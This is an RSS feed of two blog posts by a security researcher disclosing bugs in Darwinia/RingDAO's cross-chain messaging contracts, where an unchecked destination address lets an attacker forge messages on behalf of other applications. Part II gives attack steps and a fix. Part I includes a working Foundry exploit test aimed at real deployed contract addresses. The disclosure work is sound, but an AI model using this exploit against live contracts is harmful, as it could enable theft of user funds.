<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Shanmuga Bharathi(Security Researcher🧑‍💻)</title>
        <link>https://paragraph.com/@shanmuga-bharathi</link>
        <description>You can find my Security Research and Vulnerability disclosure on Web3, OSS and more related offensive security here.</description>
        <lastBuildDate>Sun, 29 Nov 2026 03:42:28 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[RingDAO | Sending an arbitrary message without authorization of Dapps. Part-II]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/ringdao-sending-an-arbitrary-message-without-authorization-of-dapps-part-ii</link>
            <guid>b2NGy51FEdSlDxvsGYP8</guid>
            <pubDate>Tue, 14 Jan 2025 17:41:15 GMT</pubDate>
            <description><![CDATA[Protocol Overview:RingDAO is a decentralized community focused on the latest innovations in the cross-chain field within the web3 world. Our mission is to empower existing and future applications to interact seamlessly with multiple blockchain networks. Darwinia chain, is one of the project from RingDAO, It is a one of the earliest parachains in the Polkadot ecosystem, offering out-of-the-box cross-chain capabilities to exchange messages with other parachains and external Ethereum-compatible ...]]></description>
            <content:encoded><![CDATA[<h2 id="h-protocol-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>Protocol Overview:</strong></h2><p>RingDAO is a decentralized community focused on the latest innovations in the cross-chain field within the web3 world. Our mission is to empower existing and future applications to interact seamlessly with multiple blockchain networks.</p><p>Darwinia chain, is one of the project from RingDAO, It is a one of the earliest parachains in the Polkadot ecosystem, offering out-of-the-box cross-chain capabilities to exchange messages with other parachains and external Ethereum-compatible chains.</p><p>I have already found the similar critical bug on Darwinia project, you could read here:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0xBA23dfd7cCCD3587A1b8909dd5BcCfD92aCeAE6f/ngaKmRBIvhAsycYpXpbycoBuP-W4SbzHAQr6xqZrgEQ">https://mirror.xyz/0xBA23dfd7cCCD3587A1b8909dd5BcCfD92aCeAE6f/ngaKmRBIvhAsycYpXpbycoBuP-W4SbzHAQr6xqZrgEQ</a></p><p>So, this article will be describing Part-II of the Critical bug in RingDAO’s Darwinia contract.</p><p>This write-up focuses on vulnerability in the core component of Darwinia which is <code>MsgPort’s ORMPUpgradeablePort contract.</code></p><h3 id="h-target" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>Target</strong></h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x8d22f03a675064BFd7509c87206d33730f33e324#code">https://etherscan.io/address/0x8d22f03a675064BFd7509c87206d33730f33e324#code</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>Description:</strong></h3><p>The <code>ORMPUpgradeablePort</code> contract is used to do cross-chain messaging by Dapps to the <code>ORMP</code> contract. The flow:</p><pre data-type="codeBlock" text="L1 side: 
Dapp --&gt; ORMP_Port::send() --&gt; ORMP::send() 

L2 side:
ORMP::recv() --&gt; ORMP_Port::recv() --&gt; Dapp. 
"><code>L1 side: 
Dapp <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> ORMP_Port::send() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> ORMP::send() 

L2 side:
ORMP::recv() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> ORMP_Port::recv() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> Dapp. 
</code></pre><p><code>ORMP_Port == ORMPUpgradeablePort</code></p><p>The bug relies on the <code>ORMPUpgradeablePort::recv()</code> where a malicious user could craft an arbitrary message and pass it to <code>ORMP::send()</code> by setting <code>ORMP</code> as <code>toDapp</code></p><p>The bug lies in the <code>ORMPUpgradeablePort::recv()</code> function where the <code>toDapp</code> which is the destination address is not verified. The malicious user could set the <code>toDapp</code> as an <code>ORMP</code> contract and pass any arbitrary message on behalf of any genuine Dapps.</p><pre data-type="codeBlock" text="    function _recv(bytes32 msgId, uint256 fromChainId, address fromDapp, address toDapp, bytes memory message)
        internal
    {
        (bool success, bytes memory returndata) =
            toDapp.call{value: msg.value}(abi.encodePacked(message, msgId, fromChainId, fromDapp));
        emit MessageRecv(msgId, success, returndata);
    }
"><code>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_recv</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> msgId, <span class="hljs-keyword">uint256</span> fromChainId, <span class="hljs-keyword">address</span> fromDapp, <span class="hljs-keyword">address</span> toDapp, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> message</span>)
        <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
    </span>{
        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> returndata) <span class="hljs-operator">=</span>
            toDapp.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(message, msgId, fromChainId, fromDapp));
        <span class="hljs-keyword">emit</span> MessageRecv(msgId, success, returndata);
    }
</code></pre><h3 id="h-attack-vector-ii" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Attack Vector II:</h3><ol><li><p>As I said before, the <code>MessagePort</code> can call <code>ORMP</code> and misuse the <code>send()</code> function to send arbitrary messages on behalf of Dapps.</p></li><li><p>But instead of calling <code>ORMP::send()</code>, the attacker could craft a message to call <code>ORMP::setAppConfig()</code>.</p></li><li><p>The attacker could set his own config on behalf of Darwinia MessagePort and change the oracle and relayer addresses of MessagePort.</p></li><li><p>Hence, this issue has another impact on<code>Attacker ability to set or modify Darwinia Msgport default settings for another UA</code>.</p></li><li><p>If the attacker could modify UA settings, the attacker could set this own address as a relayer and oracle, potentially call any contract by <code>ORMP:recv()</code> and steal the funds or compromise the UA or MessagePort.</p></li></ol><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><p>Passing <code>toDapp</code> as <code>ORMP</code> contract can lead to arbitrary message passing on Behalf of other dapp/user and possibly cause exploits resulting in the permanent locking, loss, or theft of user funds.</p><h3 id="h-mitigation" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Mitigation:</h3><p>On <code>ORMPUpgradeablePort::recv()</code> function revert if <code>toDapp</code> is an <code>ORMP</code> contract address.</p><pre data-type="codeBlock" text="  function recv(address fromDapp, address toDapp, bytes calldata message) {
            require(toDapp != ormp, &quot;Not allowed&quot;);
    }
"><code>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">recv</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> fromDapp, <span class="hljs-keyword">address</span> toDapp, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> message</span>) </span>{
            <span class="hljs-built_in">require</span>(toDapp <span class="hljs-operator">!</span><span class="hljs-operator">=</span> ormp, <span class="hljs-string">"Not allowed"</span>);
    }
</code></pre><h2 id="h-proof-of-concept" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>Proof of Concept</strong></h2><p>Usually I write Coded POC for all class of bugs, This one I actually left a theoretical POC, because of rush to submit this report to avoid duplicate status for my report.</p><ol><li><p>On the L1 side: The attacker calls <code>MessagePort::send()</code> which contains the custom message to call <code>ORMP::send()</code> on the L2 side.</p></li><li><p>When the custom messages reach <code>MessagePort</code> on L2. The <code>MessagePort::recv()</code> will call <code>ORMP::send()</code> with a crafted arbitrary malicious message.</p></li><li><p>The crafted arbitrary message will pose as a genuine message sent by L2 <code>MessagePort</code>. The other encoded parts of this message contain to compromise the genuine Dapps.</p></li><li><p>Then again, the message will reach L1 where the <code>ORMP::recv() will call </code>Message::recv()` and pass the malicious message to genuine Dapp to compromise Dapp in favour of the attacker.</p></li></ol><p>Thanks for reading my bug write-ups, hope you could learn something.</p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/2d058e7d50363137853973a9b8256b073c92ca6f7d8ec422e0da0e52705cef51.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Darwinia | Sending an arbitrary message without authorization of user application. Part-I]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/darwinia-sending-an-arbitrary-message-without-authorization-of-user-application-part-i</link>
            <guid>Oqr5N13LVqblCFLJclRS</guid>
            <pubDate>Thu, 11 Apr 2024 10:32:31 GMT</pubDate>
            <description><![CDATA[Protocol Overview:Darwinia is currently at the forefront of developing innovative cross-chain service solutions, with a strategic focus on enhancing the cross-chain capabilities of decentralized applications. In the evolving landscape of blockchain technology, the need for interoperability and seamless communication between diverse blockchains has never been more critical. Msgport, a groundbreaking initiative by Darwinia, stands at the forefront of this challenge, offering a robust solution f...]]></description>
            <content:encoded><![CDATA[<h2 id="h-protocol-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Protocol Overview:</h2><p>Darwinia is currently at the forefront of developing innovative cross-chain service solutions, with a strategic focus on <strong>enhancing the cross-chain capabilities of decentralized applications</strong>.</p><p>In the evolving landscape of blockchain technology, the need for interoperability and seamless communication between diverse blockchains has never been more critical. Msgport, a groundbreaking initiative by Darwinia, stands at the forefront of this challenge, offering a robust solution for cross-chain messaging. With a focus on facilitating effortless asset and information transfer across blockchains, Msgport is revolutionizing the way applications communicate in Web 3.0.</p><p>This write-up focuses on vulnerability in the core component of Darwinia which is <code>MsgPort’s ORMP</code></p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.darwinia.network/msgport/messaging-protocols/ormp/">ORMP</a>: Oracle Relayer Messaging Protocol leverages chain-independent components, such as oracles and DApp-preferred relayers, to verify cross-chain messages. This approach integrates diverse verification mechanisms, ensuring robust and flexible cross-chain communication.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/970589d4356f7043d0f698fea1a02ff780090444db2a07bf092d1e8b7fb51fec.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>The ORMP contract is used to do cross-chain messaging by Dapps also known as User Application(UA). The flow of the ORMP protocol follows:</p><pre data-type="codeBlock" text="-------------------------L1------------------------ --------L2-----------
UA --&gt; send() --&gt; relayer::assign() --&gt; oracle::assign() --&gt; recv() --&gt; UA
"><code><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>L1<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>L2<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
UA <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> send() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> relayer::assign() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> oracle::assign() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> recv() <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> UA
</code></pre><p>The relayer is responsible for taking messages from one chain to another chain&apos;s UA.</p><p>The oracle is responsible for verifying the authenticity of the message.</p><p>The bug lies in the <code>ORMP::recv()</code> function where the <code>message.to</code> which is the destination address is not verified.</p><p>It can be the default relayer/oracle, since the relayer and oracle both are the core parts to carry the message to another chain, an attacker could assign a forged message to the default relayer and oracle on behalf of another UA.</p><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><p>Submitting <code>msghash</code> to the relayer and oracle onbehalf of other UA leads to loss of funds or other UA-related misuses.</p><p><strong><em>Proof of concept:</em></strong></p><p>The poc is tested via the Foundry test suite under <code>ORMP</code> the project’s repo. Run with the appropriate RPC URL and <code>forge test</code> URL.</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

import &quot;forge-std/Test.sol&quot;;
import &quot;src/interfaces/IORMP.sol&quot;;
import &quot;src/Common.sol&quot;;

contract MockOracle {
    function verifyMessageProof(uint256 fromChainId, bytes32 msgHash, bytes calldata proof) external view returns (bool) {
        return true;
    }
}

contract Mock_UA {
    address ormp = 0x00000000001523057a05d6293C1e5171eE33eE0A;
    address auth_sender = address(2);
    function rcv_msg(address from) external returns(bool) {
        require(ormp == msg.sender, &quot;!auth&quot;);
        require(from == auth_sender, &quot;!invalid from&quot;);
        return true;
    }
}

contract ormp_poc is Test {
    uint mainnet_fork;
    uint arb_fork;
    MockOracle mc;
    MockOracle mc1;
    Mock_UA mu;
    address relayer = 0x0000000000808fE9bDCc1d180EfbF5C53552a6b1;
    address oracle = 0x0000000003ebeF32D8f0ED406a5CA8805c80AFba;

    function setUp() public {
        mainnet_fork  = vm.createFork(&quot;https://mainnet.infura.io/v3/YOUR_KEY&quot;);
        arb_fork = vm.createFork(&quot;https://mainnet.infura.io/v3/YOUR_KEY&quot;);
    }

    function test_poc() public {
        vm.selectFork(mainnet_fork);
        deploy_mock_ua();

        vm.selectFork(arb_fork);
        uint d = IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).LOCAL_CHAINID();
        Message memory msg1 = Message({
            channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
            index: 4,
            fromChainId: d,
            from: address(2),
            toChainId: 1,
            to: address(mu),
            gasLimit: 250000,
            encoded: abi.encodeWithSignature(&quot;rcv_msg(address)&quot;,address(2))
        });
        bytes32 msghash = keccak256(abi.encode(msg1));

        vm.selectFork(mainnet_fork);
        vm.prank(address(1));
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).send{value: 0.001 ether}(42161,relayer,250000,abi.encodeWithSignature(&quot;assign(bytes32,bytes)&quot;,msghash,new bytes(0)),address(1),new bytes(0));
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).send{value: 0.001 ether}(42161,oracle,250000,abi.encodeWithSignature(&quot;assign(bytes32)&quot;,msghash),address(1),new bytes(0));

        set_config();
        vm.selectFork(arb_fork);
        uint c = IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).LOCAL_CHAINID();
        Message memory msg2 = Message({
            channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
            index: 2,
            fromChainId: 1,
            from: address(1),
            toChainId: c,
            to: relayer,
            gasLimit: 250000,
            encoded: abi.encodeWithSignature(&quot;assign(bytes32,bytes)&quot;,msghash,new bytes(0))
        });
        Message memory msg3 = Message({
            channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
            index: 3,
            fromChainId: 1,
            from: address(1),
            toChainId: c,
            to: oracle,
            gasLimit: 250000,
            encoded: abi.encodeWithSignature(&quot;assign(bytes32)&quot;,msghash)
        });

        vm.selectFork(arb_fork);
        vm.prank(relayer);
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg2,new bytes(0));
        vm.prank(relayer);
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg3,new bytes(0));

        set_config_l1();
        vm.selectFork(mainnet_fork);
        vm.prank(relayer);
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg1,new bytes(0));
    }

    function set_config() public {
        vm.selectFork(arb_fork);
        mc = new MockOracle();
        vm.makePersistent(address(mc));
        vm.prank(relayer);
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc),address(0));
        vm.prank(oracle);
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc),address(0));
    }

    function set_config_l1() public {
        vm.selectFork(mainnet_fork);
        mc1 = new MockOracle();
        vm.makePersistent(address(mc1));
        vm.makePersistent(address(mc1));
        vm.prank(address(mu));
        IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc1),address(0));
    }

    function deploy_mock_ua() public {
        vm.selectFork(mainnet_fork);
        mu = new Mock_UA();
        vm.makePersistent(address(mu));
    }

}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Test.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"src/interfaces/IORMP.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"src/Common.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">MockOracle</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verifyMessageProof</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> fromChainId, <span class="hljs-keyword">bytes32</span> msgHash, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> proof</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Mock_UA</span> </span>{
    <span class="hljs-keyword">address</span> ormp <span class="hljs-operator">=</span> <span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>;
    <span class="hljs-keyword">address</span> auth_sender <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">2</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">rcv_msg</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">require</span>(ormp <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-string">"!auth"</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> auth_sender, <span class="hljs-string">"!invalid from"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ormp_poc</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-keyword">uint</span> mainnet_fork;
    <span class="hljs-keyword">uint</span> arb_fork;
    MockOracle mc;
    MockOracle mc1;
    Mock_UA mu;
    <span class="hljs-keyword">address</span> relayer <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000000808fE9bDCc1d180EfbF5C53552a6b1</span>;
    <span class="hljs-keyword">address</span> oracle <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000003ebeF32D8f0ED406a5CA8805c80AFba</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        mainnet_fork  <span class="hljs-operator">=</span> vm.createFork(<span class="hljs-string">"https://mainnet.infura.io/v3/YOUR_KEY"</span>);
        arb_fork <span class="hljs-operator">=</span> vm.createFork(<span class="hljs-string">"https://mainnet.infura.io/v3/YOUR_KEY"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_poc</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.selectFork(mainnet_fork);
        deploy_mock_ua();

        vm.selectFork(arb_fork);
        <span class="hljs-keyword">uint</span> d <span class="hljs-operator">=</span> IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).LOCAL_CHAINID();
        Message <span class="hljs-keyword">memory</span> msg1 <span class="hljs-operator">=</span> Message({
            channel: <span class="hljs-keyword">address</span>(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>),
            index: <span class="hljs-number">4</span>,
            fromChainId: d,
            <span class="hljs-keyword">from</span>: <span class="hljs-keyword">address</span>(<span class="hljs-number">2</span>),
            toChainId: <span class="hljs-number">1</span>,
            to: <span class="hljs-keyword">address</span>(mu),
            gasLimit: <span class="hljs-number">250000</span>,
            encoded: <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"rcv_msg(address)"</span>,<span class="hljs-keyword">address</span>(<span class="hljs-number">2</span>))
        });
        <span class="hljs-keyword">bytes32</span> msghash <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(msg1));

        vm.selectFork(mainnet_fork);
        vm.prank(<span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>));
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).<span class="hljs-built_in">send</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-number">42161</span>,relayer,<span class="hljs-number">250000</span>,<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"assign(bytes32,bytes)"</span>,msghash,<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>)),<span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>),<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>));
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).<span class="hljs-built_in">send</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-number">42161</span>,oracle,<span class="hljs-number">250000</span>,<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"assign(bytes32)"</span>,msghash),<span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>),<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>));

        set_config();
        vm.selectFork(arb_fork);
        <span class="hljs-keyword">uint</span> c <span class="hljs-operator">=</span> IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).LOCAL_CHAINID();
        Message <span class="hljs-keyword">memory</span> msg2 <span class="hljs-operator">=</span> Message({
            channel: <span class="hljs-keyword">address</span>(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>),
            index: <span class="hljs-number">2</span>,
            fromChainId: <span class="hljs-number">1</span>,
            <span class="hljs-keyword">from</span>: <span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>),
            toChainId: c,
            to: relayer,
            gasLimit: <span class="hljs-number">250000</span>,
            encoded: <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"assign(bytes32,bytes)"</span>,msghash,<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>))
        });
        Message <span class="hljs-keyword">memory</span> msg3 <span class="hljs-operator">=</span> Message({
            channel: <span class="hljs-keyword">address</span>(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>),
            index: <span class="hljs-number">3</span>,
            fromChainId: <span class="hljs-number">1</span>,
            <span class="hljs-keyword">from</span>: <span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>),
            toChainId: c,
            to: oracle,
            gasLimit: <span class="hljs-number">250000</span>,
            encoded: <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"assign(bytes32)"</span>,msghash)
        });

        vm.selectFork(arb_fork);
        vm.prank(relayer);
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).recv(msg2,<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>));
        vm.prank(relayer);
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).recv(msg3,<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>));

        set_config_l1();
        vm.selectFork(mainnet_fork);
        vm.prank(relayer);
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).recv(msg1,<span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">set_config</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.selectFork(arb_fork);
        mc <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> MockOracle();
        vm.makePersistent(<span class="hljs-keyword">address</span>(mc));
        vm.prank(relayer);
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).setAppConfig(<span class="hljs-keyword">address</span>(mc),<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));
        vm.prank(oracle);
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).setAppConfig(<span class="hljs-keyword">address</span>(mc),<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">set_config_l1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.selectFork(mainnet_fork);
        mc1 <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> MockOracle();
        vm.makePersistent(<span class="hljs-keyword">address</span>(mc1));
        vm.makePersistent(<span class="hljs-keyword">address</span>(mc1));
        vm.prank(<span class="hljs-keyword">address</span>(mu));
        IORMP(<span class="hljs-number">0x00000000001523057a05d6293C1e5171eE33eE0A</span>).setAppConfig(<span class="hljs-keyword">address</span>(mc1),<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deploy_mock_ua</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.selectFork(mainnet_fork);
        mu <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Mock_UA();
        vm.makePersistent(<span class="hljs-keyword">address</span>(mu));
    }

}
</code></pre><h4 id="h-recommendations" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0"><strong>Recommendation(s):</strong></h4><p>Revert when <code>message.encoded</code> is Relayer&apos;s <code>assign(bytes32, bytes)</code> and Oracle&apos;s <code>assign(bytes32)</code> function selector on <code>recv()</code> function.</p><p>Blocking these function selectors can prevent this attack.</p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
